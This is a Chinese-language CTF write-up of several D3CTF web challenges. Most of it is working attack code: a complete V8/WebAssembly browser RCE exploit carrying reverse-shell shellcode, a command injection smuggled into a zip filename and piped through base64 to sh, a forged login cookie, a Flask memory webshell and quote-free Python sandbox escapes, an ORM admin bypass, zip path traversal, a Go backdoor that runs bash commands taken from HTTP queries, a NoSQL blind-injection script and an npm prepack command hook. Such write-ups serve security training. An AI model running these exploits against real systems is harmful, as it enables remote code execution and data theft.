本文最后更新于 341 天前，其中的信息可能已经有所发展或是发生改变。
Web
d3icu
通过go提前设置redis里面的缓存。将其指向为vps上的CC6 serial数据 打tomcat session反序列化。访问demo服务设置JsessionID 为crc32 vps地址，触发tomcat反序列化覆盖index.jsp
拿到java shell后改index.jsp 打node的xss 因为是老版本chrome 直接v8 RCE
<script>
function gc() {
for (var i = 0; i < 0x80000; ++i) {
var a = new ArrayBuffer();
}
}
let shellcode =[106, 41, 88, 153, 106, 2, 95, 106, 1, 94, 15, 5, 72, 151, 72, 185, 2, 0, 31, 144, 82, 156, 18, 214, 81, 72, 137, 230, 106, 16, 90, 106, 42, 88, 15, 5, 106, 3, 94, 72, 255, 206, 106, 33, 88, 15, 5, 117, 246, 106, 59, 88, 153, 72, 187, 47, 98, 105, 110, 47, 115, 104, 0, 83, 72, 137, 231, 82, 87, 72, 137, 230, 15, 5];
var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var main = wasmInstance.exports.main;
var bf = new ArrayBuffer(8);
var bfView = new DataView(bf);
function fLow(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(0, true));
}
function fHi(f) {
bfView.setFloat64(0, f, true);
return (bfView.getUint32(4, true))
}
function i2f(low, hi) {
bfView.setUint32(0, low, true);
bfView.setUint32(4, hi, true);
return bfView.getFloat64(0, true);
}
function f2big(f) {
bfView.setFloat64(0, f, true);
return bfView.getBigUint64(0, true);
}
function big2f(b) {
bfView.setBigUint64(0, b, true);
return bfView.getFloat64(0, true);
}
class LeakArrayBuffer extends ArrayBuffer {
constructor(size) {
super(size);
this.slot = 0xb33f;
}
}
function foo(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
arr.shift();
let local_arr = Array(2);
local_arr[0] = 5.1;//4014666666666666
let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
arr[0] = 0x1122;
return [arr, local_arr, buff];
}
for (var i = 0; i < 0x10000; ++i)
foo(false);
gc(); gc();
[corrput_arr, rwarr, corrupt_buff] = foo(true);
corrput_arr[12] = 0x22444;
delete corrput_arr;
function setbackingStore(hi, low) {
rwarr[4] = i2f(fLow(rwarr[4]), hi);
rwarr[5] = i2f(low, fHi(rwarr[5]));
}
function leakObjLow(o) {
corrupt_buff.slot = o;
return (fLow(rwarr[9]) - 1);
}
let corrupt_view = new DataView(corrupt_buff);
let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
let idx0Addr = corrupt_buffer_ptr_low - 0x10;
let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
let delta = baseAddr + 0x1c - idx0Addr;
if ((delta % 8) == 0) {
let baseIdx = delta / 8;
this.base = fLow(rwarr[baseIdx]);
} else {
let baseIdx = ((delta - (delta % 8)) / 8);
this.base = fHi(rwarr[baseIdx]);
}
let wasmInsAddr = leakObjLow(wasmInstance);
setbackingStore(wasmInsAddr, this.base);
let code_entry = corrupt_view.getFloat64(13 * 8, true);
setbackingStore(fLow(code_entry), fHi(code_entry));
for (let i = 0; i < shellcode.length; i++) {
corrupt_view.setUint8(i, shellcode[i]);
}
main();
</script>d3cloud
Laravel Admin 访问 /admin，直接admin/admin弱口令登录
云盘插件里面有改过代码的FileSystemAdapter.php，根据面板给出的Laravel版本5.5.x，从Framework找到源代码进行diff：
diff --git a/fs1.php b/fs2.php
index 8165345..c14e1a2 100644
--- a/fs1.php
+++ b/fs2.php
@@ -1,4 +1,5 @@
<?php
+//There is something different from the original file
namespace Illuminate\Filesystem;
@@ -163,6 +164,7 @@ class FilesystemAdapter implements FilesystemContract, CloudFilesystemContract
*/
public function put($path, $contents, $options = [])
{
+
$options = is_string($options)
? ['visibility' => $options]
: (array) $options;
@@ -190,6 +192,7 @@ class FilesystemAdapter implements FilesystemContract, CloudFilesystemContract
*/
public function putFile($path, $file, $options = [])
{
+
return $this->putFileAs($path, $file, $file->hashName(), $options);
}
@@ -204,19 +207,22 @@ class FilesystemAdapter implements FilesystemContract, CloudFilesystemContract
*/
public function putFileAs($path, $file, $name, $options = [])
{
+ $supported_file = array('gif','jpg','jpeg','png','ico','zip','mp4','mp3','mkv','avi','txt');
+ $file_type= strtolower(pathinfo($name,PATHINFO_EXTENSION));
+ if (!in_array($file_type, $supported_file)) {
+ return false;
+ }
$stream = fopen($file->getRealPath(), 'r+');
-
- // Next, we will format the path of the file and store the file using a stream since
- // they provide better performance than alternatives. Once we write the file this
- // stream will get closed automatically by us so the developer doesn't have to.
$result = $this->put(
$path = trim($path.'/'.$name, '/'), $stream, $options
);
-
if (is_resource($stream)) {
fclose($stream);
}
-
+ if($file->getClientOriginalExtension() === "zip") {
+ $fs = popen("unzip -oq ". $this->driver->getAdapter()->getPathPrefix() . $name ." -d " . $this->driver->getAdapter()->getPathP
refix(),"w");
+ pclose($fs);
+ }
return $result ? $path : false;
}就是加了一个popen执行unzip解压缩，然后加了一个过滤文件上传后缀名
zip文件名直接写$(whoami).zip可以直接执行bash指令，但是TCP不出网，直接写文件解决
Content-Disposition: form-data; name="files[]"; filename="$(echo Y2F0IC9mbDFBZyA+PiAxMjMucGhw|base64 -d|sh).zip"
Content-Type: text/plaind3dolphin
访问admin.php进入后台
审计代码后发现，is_signin 函数有缺陷，可以伪造登录signin_token
$signin_token = data_auth_sign($user['username'].$user['id'].$user['last_login_time']);首页log.txt给了admin用户的最后登录时间，要减八小时改成utc时间
sha1(“0=admin1” + “1301984359”)
Cookie: dolphin_uid=1; dolphin_signin_token=ab5f486a24426d9158c99507da45ae3bac476dd6带着这样的cookie访问页面，session就会被标记为登录状态
根据之前rce文章，找类似入口
在启用门户模块后，找到添加客服位置，插入函数名和参数
dolphin对函数名称也有一些过滤
phpinfo disable_function如下
passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_waitpid,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv,putenv这里只有只能指定一个函数名，一个参数，可以用tp的反序列化链写马
import requests
burp0_url = "http://xxx/admin.php/admin/attachment/upload?dir=./&module=admin"
burp0_cookies = {"PHPSESSID": "jg17osu5751b82gtri8o4mrpgj"}
data = {
"file": ("phar.zip", open(r'phar.phar', "rb")),
"size": "471",
"name": "phar.zip",
"type": "image/gif",
}
requests.post(burp0_url, cookies=burp0_cookies, files=data)后面一把梭/readflag
EscapePlan
方案一 by Host
int(False)==0
~int(False)==-1
-~int(False)==1用编码绕过函数名
“𝐚𝐛𝐜𝐝𝐞𝐟𝐠𝐡𝐢𝐣𝐤𝐥𝐦𝐧𝐨𝐩𝐪𝐫𝐬𝐭𝐮𝐯𝐰𝐱𝐲𝐳𝐀𝐁𝐂𝐃𝐄𝐅𝐆𝐇𝐈𝐉𝐊𝐋𝐌𝐍𝐎𝐏𝐐𝐑𝐒𝐓𝐔𝐕𝐖𝐗𝐘𝐙”
从request变量传递payload
正好最近研究了flask的内存马，写完直接执行命令
import base64
import requests
exp = '(msg:=𝐬𝐭𝐫(request))and(𝐞𝐯𝐚𝐥(msg[int(True)'+"-~int(False)"*37+':int(True)'+"-~int(False)"*166+']))'
r = requests.post("""http://xxx/?app.before_request_funcs.setdefault(None,list()).append(lambda:__import__('os').popen(request.args.get('shell','whoami')).read())""", data={"cmd": base64.b64encode(exp.encode())})
print(r.text)方案二
忘了从哪看的
主要思想是不使用引号造出字符串
dict(hello_world='')
# {"hello_world": ""}
list(dict(hello_world=''))
# ['hello_world']
list(dict(hello_world=''))[len([])eval(vars(eval(list(dict(_a_aiamapaoarata_a_=()))[len([])][::len(list(dict(aa=()))[len([])])])(list(dict(b_i_n_a_s_c_i_i_=()))[len([])][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b1_1b_a_s_e_6_4=()))[len([])][::len(list(dict(aa=()))[len([])])]](list(dict(X19pbXBvcnRfXygnb3MnKS5wb3Blbignd2hvYW1pJykucmVhZCgp=()))[len([])]))
最终实现：
eval(
vars(
eval("__import__")("binascii")
)["a2b_base64"]("X19pbXBvcnRfXygnb3MnKS5wb3Blbignd2hvYW1pJykucmVhZCgp")
)d3go
通过路径穿越获取源码：http://106.14.124.130:32306/assets/%2E%2E/%2E%2E/，稍微改一下这个脚本就能全部脱下来
在注册时通过更新记录为原有admin记录添加删除字段，可以达到同时使IsAdmin为true但是ID不为1的情况
// db.go
func IsAdmin(u *model.User) bool {
var admin model.User
if err := db.First(&admin).Error; err != nil {
log.Error(err)
} // db.First will not count row that DeletedAt != NULL
return u.Username == admin.Username
}
...
func AddUser(u *model.User) error {
if err := db.Save(u).Error; err != nil {
log.WithField("user", u).Error(err)
return ErrDatabase
}
// db.Save updates field if ID exists
// but model.User are directly unserialized from user input.
return nil
}
// auth.go
func Login(u *model.User) (int, error) {
ok, err := db.CheckAuth(u)
if !ok || err != nil {
return UnAuthed, err
}
if config.Conf.NoAdminLogin && u.ID == 1 {
return UnAuthed, nil
} // So first available row's ID can != 1
if db.IsAdmin(u) {
return Admin, nil
}
return User, nil
}所以在注册的时候我们可以构造如下payload：
// POST /register
{"ID":1,"CreatedAt":"2020-01-01T00:00:00Z","DeletedAt":"2020-01-01T00:00:00Z"}之后随便注册一个账户就是可以登录的admin身份，能够上传文件。
程序配置有自动监听config.yml更改和基于overseer的程序更新服务
func Init() {
viper.SetConfigName("config")
viper.SetConfigType("yaml")
viper.AddConfigPath(".")
if err := viper.ReadInConfig(); err != nil {
log.Fatalln(err)
}
UpdateConfig()
viper.OnConfigChange(func(in fsnotify.Event) {
UpdateConfig()
})
viper.WatchConfig()
}
func UpdateConfig() {
Conf.DBUser = viper.GetString("database.user")
Conf.DBPasswd = viper.GetString("database.password")
Conf.DBHost = viper.GetString("database.host")
Conf.DBPort = viper.GetString("database.port")
Conf.NoAdminLogin = viper.GetBool("server.noAdminLogin")
Conf.AutoUpdate = viper.GetBool("update.enabled")
Fetch = fetcher.HTTP{
URL: viper.GetString("update.url"),
Interval: viper.GetDuration("update.interval") * time.Second,
}
Fetch.Init()
log.Println("config updated")
}上传文件的解压逻辑有路径穿越漏洞，可以通过构造文件名为../../config.yml的文件来覆盖原有config.yml文件
p, _ := filepath.Abs(filepath.Join(outputPath, f.Name))生成压缩包: https://pastebin.ubuntu.com/p/Q6Kgq695km/
根据文档，更新的二进制需要满足需求：
Once a binary is received, it is run with a simple echo token to confirm it is a overseer binary.
写出来用来替换的二进制，编译执行放到config.yml指定的位置即可RCE
package main
import (
"fmt"
"io/ioutil"
"log"
"net"
"net/http"
"os/exec"
"strings"
"time"
"github.com/jpillora/overseer"
"github.com/jpillora/overseer/fetcher"
)
func cmd_connect(c net.Conn) {
if c == nil {
return
}
buf := make([]byte, 4096)
for {
cnt, err := c.Read(buf)
if err != nil || cnt == 0 {
c.Close()
break
}
inStr := strings.TrimSpace(string(buf[0:cnt]))
inputs := strings.Split(inStr, " ")
switch inputs[0] {
case "quit":
c.Close()
break
default:
var cmd_str string
for _, value := range inputs {
if cmd_str == "" {
cmd_str = value
} else {
cmd_str = cmd_str + " " + value
}
}
cmd := exec.Command("/bin/bash", "-c", cmd_str)
stdout, err := cmd.StdoutPipe()
if err != nil {
log.Fatal(err)
}
defer stdout.Close()
if err := cmd.Start(); err != nil {
log.Fatal(err)
}
// 读取输出结果
opBytes, err := ioutil.ReadAll(stdout)
if err != nil {
log.Fatal(err)
}
c.Write([]byte(opBytes))
}
}
}
var BuildID = "0"
func prog(state overseer.State) {
fmt.Printf("app#%s (%s) listening...\n", BuildID, state.ID)
http.Handle("/", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
d := (r.URL.Query().Get("d"))
//time.Sleep(d)
//fmt.Fprintf(w, "app#%s (%s) says hello\n", BuildID, state.ID)
cmd := exec.Command("/bin/bash", "-c", d)
stdout, err := cmd.StdoutPipe()
if err != nil {
log.Fatal(err)
}
defer stdout.Close()
if err := cmd.Start(); err != nil {
log.Fatal(err)
}
// 读取输出结果
opBytes, err := ioutil.ReadAll(stdout)
myString := string(opBytes[:])
if err != nil {
log.Fatal(err)
}
fmt.Fprintf(w, myString)
}))
http.Serve(state.Listener, nil)
//fmt.Printf(myString)
}
func main() {
overseer.Run(overseer.Config{
Program: prog,
Address: ":8081",
Fetcher: &fetcher.HTTP{
URL: "http://localhost:4000/binaries/myapp",
Interval: 1 * time.Second,
},
})
}http://106.14.124.130:31984/?d=ls
d3node
进去f12看见hint1
根据hint1可以知道存在nosql注入，过滤了一些，但可以用正则
{"username": {"$regex": "admin"}, "password": {"$regex": "" }}进去看前端源码 信息搜集发现一些路由和hint2
其读取文件是直接将传入的filename放进去的，存在任意文件读取
/dashboardIndex/ShowExampleFile?filename=/etc/passwd尝试读 app.js 发现回显 hacker
这里可以利用readFileSync 的特性来绕，传递一个满足条件的对象，将app.js进行url编码绕过（相关分析网上都能找到，这里不多做解释）
读 app.js
/dashboardIndex/ShowExampleFile?filename[href]=aa&filename[origin]=aa&filename[protocol]=file:&filename[hostname]=&filename[pathname]=/proc/self/cwd/%2561%2570%2570%252e%256a%2573
根据app.js可还原出源码，审计代码发现会执行 /dashboardIndex/PackDependencies 路由会执行 npm pack
prepack可以在pack前执行命令
{
"name": "d3ctf2023",
"version": "1.0.0",
"dependencies": {
...
},
"scripts": {
"prepack": "/readflag >> /tmp/123.txt"
}
}前面nosql盲注注出admin密码登录
import requests
remoteHost = "47.102.98.112:30320"
burp0_url = f"http://{remoteHost}/user/LoginIndex"
dict_list = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_0123456789"
proxies = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080"
}
password = ""
for i in range(50):
for i in dict_list:
burp0_json={"password": {"$regex": f"^{password + i}.*"}, "username": {"$regex": "admin"}}
res = requests.post(burp0_url, json=burp0_json, proxies=proxies, allow_redirects=False)
if res.status_code == 302:
password += i
print(password)
breakadmin/dob2xdriaqpytdyh6jo3
然后依次按接口发包即可
/dashboardIndex/SetDependencies
/dashboardIndex/PackDependencies
/dashboardIndex/ShowExampleFile?filename=/tmp/123.txt
